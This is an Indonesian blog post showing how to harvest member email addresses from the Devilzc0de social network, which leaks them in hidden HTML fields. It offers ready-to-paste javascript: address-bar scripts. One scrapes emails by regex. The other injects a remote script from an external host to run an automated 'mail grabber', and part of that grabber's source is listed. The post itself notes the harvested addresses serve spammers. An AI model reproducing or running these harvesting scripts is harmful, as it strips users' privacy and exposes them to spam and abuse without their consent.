Devilzc0de-dot-org merupakan salah satu jejaring sosial lokal. Karena penasaran dengan fitur-fitur yang dimiliki, saya mendaftarkan diri pada website tersebut dengan email palsu. Setelah login dan digiring ke halaman utama, saya melihat source HTML halaman tersebut dan mendapati email-email user tersimpan pada hidden field. Tentunya, celah yang disengaja ini memungkinkan spammer membuat tool otomatis untuk memanen alamat email.
Dari forum mereka, saya mendapat informasi bahwa ternyata celah ini sudah lama dilaporkan dan sudah diketahui admin. Pada artikel ini saya akan berbagi script sederhana untuk mengumpulkan ratusan email secara otomatis (sebenarnya tergantung banyaknya member & besarnya memory Anda sich ^^) dengan memanfaatkan celah tersebut. Tidak ada kerusakan apapun yang akan ditimbulkan dari sisi web Devilzc0de. Namun dari sisi member, tentu akan sangat menyebalkan jika email kita dijual oleh spammer yang berujung pada meningkatnya jumlah spam yang mengotori inbox Anda T_T
Hidden Field
2 | < input type = "hidden" id = "get_emailmember123456" value = "contoh_email_member@palsu.com" style = "visibility:hidden;" /> |
4 | < input type = "hidden" id = "get_emailmember654321" value = "contoh_email_user@palsu.com" style = "visibility:hidden;" /> |
Seperti yang Anda lihat, email member disembunyikan di dalam hidden field dengan ID yang digenerate secara dinamis berdasarkan ID member. Jika Anda memiliki account di Devilzc0de Social Network, cobalah login dengan akun Anda. Begitu Anda berada di halaman home, salin code berikut ini:
1 | javascript: var email= "" ; var strMail= "" ; var mailAr=document.getElementsByTagName( 'body' )[0].innerHTML.match(/([a-zA-Z0-9._-]+@[a-zA-Z0-9._-]+\.[a-zA-Z0-9._-]+)/gi).sort(); if (mailAr){ for ( var i=0;i<mailAr.length; i++){ if ( strMail != (strMail=mailAr[i]))email += strMail+ "<br>" ;}} |
Script diatas akan membaca isi body halaman home, mencari string yang memiliki format alamat email, menyimpannya dalam array, menghapus data ganda lalu menampilkannya pada browser.
Paste code diatas pada Address Bar Browser Mozilla Firefox Anda, lalu tekan Enter. Anda akan dibawa ke sebuah halaman dengan beberapa alamat email:
Hasil Parsing
Email-email tersebut adalah kumpulan email user yang statusnya sedang terlihat di halaman home. Klik tombol [Back] browser Anda untuk kembali ke halaman home.
Mengumpulkan Ratusan Email Dengan Tool Otomatis
Tool Otomatis?? Ah.. itu cuma biar terdengar lebih menarik ajah ^^
Saya membuat sebuah script sederhana untuk mengumpulkan email-email user Devilzc0de yang pernah melakukan posting status. Pergilah ke halaman Home Devilzc0de, kemudian Copy-Paste code berikut pada Address Bar browser Anda:
1 | javascript: if (document.getElementById( "dcMailGrabber" )==undefined){ var spyroJs = document.createElement( 'script' ); spyroJs.setAttribute( "type" , "text/javascript" ); spyroJs.setAttribute( "src" , "http://www.spyrozone.net/playground/devilzc0de/devilzc0de-mail-grabber.js" ); document.getElementsByTagName( "head" )[0].appendChild(spyroJs); document.getElementById( "dc_middle_left" ).style.height = "500px" ; document.getElementById( "dc_headwall" ).style.visibility = "hidden" ; document.getElementById( "dc_bottom" ).style.visibility = "hidden" ; document.getElementById( "dc_texarea_wall" ).innerHTML = "<div id=\"dcMailGrabber\" align=\"center\"><img src=\"http://www.spyrozone.net/playground/devilzc0de/dcmailgrabber.png\"><br><input type=\"button\" id=\"scanButton\" value=\"Start Scanning\" onclick=\"startScanning(); \"></div><div id=\"spyroLoading\" align=\"center\"></div><br><div id=\"scanResult\" align=\"left\" style=\"margin-left:30px\"></div>" ; alert( "Klik tombol [Start Scanning] untuk memulai proses Scan.\n\n--SPYRO KiD" );} |
Area untuk menulis status baru pada wall akan berubah menjadi demikian:
Tampilan spyrozone DC Email Grabber pada area penulisan status baru
Klik tombol [Start Scanning] untuk memulai pengumpulan email. Berikut adalah hasil scan yang saya dapat dalam waktu kurang dari 1 menit:
Hasil Scanning spyrozone DC Email Grabber
Source Code spyrozone DC Email Grabber
14 | function startScanning(){ |
15 | var btnVal = document.getElementById( "scanButton" ); |
16 | if (btnVal.value == "Start Scanning" ){ |
19 | intvRead = setInterval( 'mailParser()' ,7000); |
20 | btnVal.value = "Stop Scanning" ; |
22 | clearInterval(intvRead); |
23 | document.getElementById( "spyroLoading" ).innerHTML = "" ; |
24 | btnVal.value = "Start Scanning" ; |
31 | var mailAr=document.getElementsByTagName( 'body' )[0].innerHTML.match(/([a-zA-Z0-9._-]+@[a-zA-Z0-9._-]+\.[a-zA-Z0-9._-]+)/gi).sort(); |
33 | email= "<h1>Grabbed Email:</h1><hr><ol>" ; |
34 | for ( var i=0;i<mailAr.length; i++){ |
35 | if ( strMail != (strMail=mailAr[i])) |
36 | email += "<li>" +strMail+ "</li>" ; |
40 | document.getElementById( "scanResult" ).innerHTML = email; |
45 | var kuJiTag= new Array(); |
46 | var kuJiTag=document.getElementsByTagName( "a" ); |
47 | for (i=0;i<kuJiTag.length;i++){ |
48 | if (kuJiTag[i].className== "more" ){ |
0 komentar:
Posting Komentar